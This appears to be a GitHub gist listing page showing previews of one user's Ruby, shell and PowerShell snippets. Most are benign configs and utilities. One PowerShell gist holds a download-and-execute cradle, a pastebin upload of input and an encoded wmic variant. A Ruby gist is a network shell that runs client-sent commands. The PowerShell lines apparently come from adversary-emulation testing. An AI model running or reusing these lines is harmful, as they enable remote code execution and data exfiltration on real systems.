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Alejandro Juárez karmatr0n

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karmatr0n / minimal_heaviest_subset.rb
Created June 23, 2023 13:44
Minimal heaviest subset
def minimal_heaviest_subset(weights)
weights.sort!
half_sum = weights.sum / 2
weights
.each_cons(2)
.filter {|a, b| a+b >= half_sum}
.flatten
.uniq
end
@karmatr0n
karmatr0n / might_i_recommend_ruby.rb
Last active November 30, 2022 15:34
might_i_recommend_ruby.rb
require 'uri'
require 'net/http'
require 'csv'
class Downloader
attr_accessor :uri, :content
def initialize(uri)
@uri = URI(uri)
@content = nil
@karmatr0n
karmatr0n / .aprc
Last active March 2, 2022 21:48
dotaprc
AwesomePrint.defaults = {
indent: -2
}
@karmatr0n
karmatr0n / mm_tgz.txt
Last active March 2, 2022 17:23
H4sIALynH2IAA+1aWY/byBH2s34FIb/MZi1N34cWQa41kDzsyyZvhjGo7q6WmJFIgaQ8Hiz831OU5tBopLEXoL3ZRIUZ8Go2q7qqvvqK1Kr+gFeretPi5auvJYwxq3Wx3Zrdlgm1295JwZVg1gppNCsYV5KpV4X+ahrtyabtoCFVrqFZQdew6sQ4GpbzC/Pc2fGw/Z3I6tH/f4NmXk+7erUc+Bm0Hkap0/6XQuz8r63htM+4EZK/KtjAehyV/3P/v1tDvIY5vh9VsMLij8X4MSLGow/YtGVd9afZlE/ZeISp7O7OCCb4eDR6XfwTsVjVDRbXeNsWUKWiW2DZFAlzWW2H09muWHTdup1dXqY6Thta9skSqvm0buaXsY+8ywYzNlhFvFxBVWZsu+miWy1Ho3cJ11glulRi+36EVTmvdyqRUmo8avpHbo/dVI9/6xX9fcmz/F/W8XrgZ7yc/7yPo2f5z/Q5/7+FvC7+tSjbIpdLLGgLG8J/6MoIy+Vt8ec5VthAh6kIt8UuPijf/9H1Q6uaNlXXJ2Yqct0UlLUbWBZbhKDE3gMPSTn8ADSPSBPKLi9h3j7BGT6VUzEetfWmidtRDc7Ltmtuv7/Hj3nZLTZhGuvV5QOMXMZezXZa1pOSFPo4HsUFxut2s9o+CLN0SWluZBSZp4TMK7ApJyljzNrr6IVnOrrsssopcpeYyYEzaS13MD6uf8zzSZkPtGc9Sg6rPZDKqKT0lB7auRCZ4R5lpB1KHkTtBIZgVdAyKMwhW8+5DUkkUCynU9oTYk9yvakS9BB9APZmqgY2Q+jgkcnMlc5JZUFqMo3MBs9YTIrnaIj9eZdRp6i0yImlwJXiUWblDZmxXwZoxnejZ0ZM2tt2/IbOL8sQaef9F5m+vevQ/KFjEG0EB1oILg05ieuIgnF0mEQ2zOcouTBOAAUgMpRJAWhnyeV0mEGGl7w4b2C9KOOhEdwNHoukd6DA09o465wBE4zxmlSXRnDUwLXw4DkQhBuTjKIkMioAcJnJzZkd
@karmatr0n
karmatr0n / .irbrc
Last active November 7, 2023 06:41
dotirbrc
require 'irb/completion'
require 'irb/ext/save-history'
require 'rubygems'
require 'irb/easter-egg' if Gem::Version.new(RUBY_VERSION) > Gem::Version.new('2.7.0')
%w[awesome_print rainbow interative_editor virb].each do |gem|
next if Gem.loaded_specs.key?(gem)
if defined?(::Bundler)
system("rvm @global do gem install #{gem}")
global_gemset = ENV['GEM_PATH'].split(':').grep(/ruby.*@global/).first
@karmatr0n
karmatr0n / mm.py
Last active November 26, 2021 04:11
mm
do shell script "
/usr/bin/python <<END
import sys
import time
import random
from Quartz.CoreGraphics import *
def mouseEvent(type, x, y):
theEvent = CGEventCreateMouseEvent(None, type, (x,y), kCGMouseButtonLeft)
CGEventPost(kCGHIDEventTap, theEvent)
@karmatr0n
karmatr0n / test_exe.ps1
Last active November 20, 2019 14:26
test_exe.ps1
IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1'))
IEX((New-Object System.Net.WebClient).UploadString('https://pastebin.com', $Input))
# wmic process call create "powershell -encodedCommand SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwByAGUAZABjAGEAbgBhAHIAeQBjAG8ALwBhAHQAbwBtAGkAYwAtAHIAZQBkAC0AdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AYQB0AG8AbQBpAGMAcwAvAFQAMQAwADgANgAvAHAAYQB5AGwAbwBhAGQAcwAvAHQAZQBzAHQALgBwAHMAMQAnACkAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAOwA="
@karmatr0n
karmatr0n / evil.sh
Last active August 29, 2015 14:18
Super super evil code
#!/bin/sh
echo "Hello SL ;)" > /tmp/evil;
cat /tmp/evil;
@karmatr0n
karmatr0n / test.sh
Created March 23, 2015 07:42
shell script
echo "This is just a test, but it could be evil;"
@karmatr0n
karmatr0n / shell_reverse_tcp.rb
Created March 17, 2015 17:39
require 'socket'
server = TCPServer.new "5000"
job = fork do
loop do
Thread.start(server.accept) do |client|
client.print "-> "
cmd = client.gets
IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read }
client.close
end